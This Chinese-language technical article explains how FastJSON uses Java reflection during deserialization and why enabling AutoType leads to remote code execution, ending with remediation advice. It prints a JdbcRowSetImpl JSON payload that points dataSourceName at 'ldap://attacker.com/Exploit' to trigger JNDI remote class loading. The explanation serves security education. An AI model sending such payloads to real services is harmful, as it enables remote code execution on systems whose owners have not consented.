🔍 剖析FastJSON 反序列化是如何利用的反射机制 📌 一、反序列化是什么? 反序列化(Deserialization) :将字符串形式的数据(如 JSON)转成 Java 对象的过程。 
举个例子,有一个 Java 类: 
public  class  User { public  String username; public  int  age; } 如果传入 JSON: 
{     "username" :  "www.geekserver.top" ,     "age" :  20 } 我们可以使用 FastJSON 自动反序列化它: 
User u = JSON.parseObject(jsonStr, User.class); 但问题是—— FastJSON 怎么知道怎么构建这个类?怎么给字段赋值?这时候就用到了 Java 的反射机制。 
⚙️ 二、FastJSON 使用反射详细分析 下面我们 从零开始拆解  FastJSON 是怎么用反射一步步把 JSON 字符串变成对象的。 
▶️ 第 1 步:类加载 FastJSON 首先需要知道要反序列化成哪个类。 
如果手动指定类(如  User.class ),就直接用; 如果启用了  AutoType ,就从 JSON 的  @type  字段中读取。 // 方式一:手动指定类  JSON.parseObject(jsonStr, User.class); Class<?> clazz = User . class ; // 方式二:AutoType 动态识别  JSON.parseObject(jsonStr); String className = jsonObj.get( "@type" ); Class<?> clazz = Class.forName(className); 反射关键点: Class.forName()  动态加载类 。
▶️ 第 2 步:实例化对象 FastJSON 会用  clazz.newInstance()  创建目标类的实例。 
Object obj = clazz.newInstance();   // 相当于 new User() 反射关键点: 默认调用类的无参构造方法 。如果类没有无参构造,就报错。 
▶️ 第 3 步:遍历字段,赋值属性 FastJSON 会读取 JSON 中的 key-value 对,然后: 
具体如下: 
Field field = clazz.getDeclaredField( "username" );  // 找到字段 field.setAccessible( true );  // 设置可访问 field.set(obj,  "Alice" );    // 设置值 对于多个字段会这样循环: 
for  (Map.Entry<String, Object> entry : jsonMap.entrySet()) {     Field field = clazz.getDeclaredField(entry.getKey());     field.setAccessible( true );     field.set(obj, entry.getValue()); } 🧩 结果:我们就用反射动态生成了一个对象! User u = (User) obj; System.out.println(u.username);  // 输出:Alice 📌总结 FastJSON的反序列化 JSON.parseObject(jsonStr, User.class); 相当于进行了如下操作: 
// 1. 把 JSON 字符串转成 Map 结构 Map<String, Object> jsonMap =  new  HashMap<>(); jsonMap.put( "username" ,  "alice" ); jsonMap.put( "age" ,  18 ); // 2. 用反射创建对象实例 Class<?> clazz = User . class ; Object obj = clazz.newInstance();  // 默认调用无参构造 // 3. 用反射给字段赋值(字段名必须和 JSON 键一致) for  (Map.Entry<String, Object> entry : jsonMap.entrySet()) {     Field field = clazz.getDeclaredField(entry.getKey());     field.setAccessible( true );  // 解锁私有字段     field.set(obj, entry.getValue());  // 赋值 } // 4. 返回强转后的对象 User u = (User) obj; ☠️ 三、AutoType 与反射结合后的漏洞原理 我们现在明白了 FastJSON 会: 
通过反射  Class.forName()  加载类; ✅ 那攻击者可以怎么利用? 如果开启了 AutoType,攻击者就能传一个精心构造的 JSON,例如: 
{     "@type" :  "com.sun.rowset.JdbcRowSetImpl" ,     "dataSourceName" :  "ldap://attacker.com/Exploit" ,     "autoCommit" :  true } FastJSON 会: 
自动调用  setDataSourceName("ldap://...") ; 内部触发 JNDI 请求 → 远程加载恶意类 → 执行代码。 JdbcRowSetImpl  利用链分析  👉 FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制  
💣 四、流程总结 阶段 技术 说明 🏗️ 加载类 Class.forName()反射动态加载任意类(危险!) ⚙️ 创建对象 clazz.newInstance()调用无参构造方法实例化 🧩 设置属性 field.set(obj, value)设置攻击字段触发危险行为 🧨 利用漏洞类 JdbcRowSetImpl自动触发 JNDI 请求 🔥 实现 RCE JNDI + 远程类加载 下载并执行远程恶意类 
✅ 五、修复建议 防护措施 建议 🚫 禁用 AutoType 默认关闭  setAutoTypeSupport(true) ✅ 配置白名单 ParserConfig.addAccept("com.safe.")⬆️ 升级 FastJSON 推荐 1.2.83+,更强防护机制 🔍 审计日志 检查是否存在  @type  字段传入 
🧠 六、总结:为什么 FastJSON 漏洞离不开反射? Java 的反射机制让 JSON 可以动态适配任何类; 攻击者正是利用了反射的“全能”特性,构造任意对象、注入恶意行为。 
阅读原文:原文链接 
 该文章在 2025/5/6 12:15:41 编辑过